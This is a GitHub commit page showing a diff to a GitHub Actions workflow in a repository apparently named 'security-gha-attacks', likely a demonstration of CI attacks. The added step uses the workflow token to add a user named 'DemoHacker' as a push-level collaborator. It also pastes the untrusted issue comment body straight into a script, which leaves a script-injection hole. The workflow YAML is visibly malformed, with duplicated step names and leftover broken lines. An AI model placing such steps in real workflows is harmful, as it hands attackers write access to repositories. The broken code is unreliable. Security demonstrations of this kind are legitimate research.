Skip to content

Commit

Permalink
test: add collaborator
Browse files Browse the repository at this point in the history
  • Loading branch information
Thibault Lengagne committed Dec 18, 2024
1 parent 1364e5f commit a1850b5
Showing 1 changed file with 25 additions and 6 deletions.
31 changes: 25 additions & 6 deletions .github/workflows/issue_enhancing.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -12,19 +12,38 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Check issue comment
- name: Print context
with:
script: |
console.log(context)
- name: Print context
with:
script: |
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: '👋 Thanks for reporting!'
})
uses: actions/github-script@v6
with:
script: |
const comment="${{ github.event.comment.body }}";
git.rest.repos.addCollaborator({
"ThibaultLengagne",
"security-gha-attacks",
"DemoHacker"
const { owner, repo } = context.repo;
const username = "DemoHacker";
const response = await github.rest.repos.addCollaborator({
owner,
repo,
username,
permission: 'push'
});
if (comment.startsWith('octocat')) {
console.log("Issue comment starts with 'octocat'")
} else {
console.log("Issue comment did not start with 'octocat'")
process.exit(1)
}
}
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

0 comments on commit a1850b5

Please sign in to comment.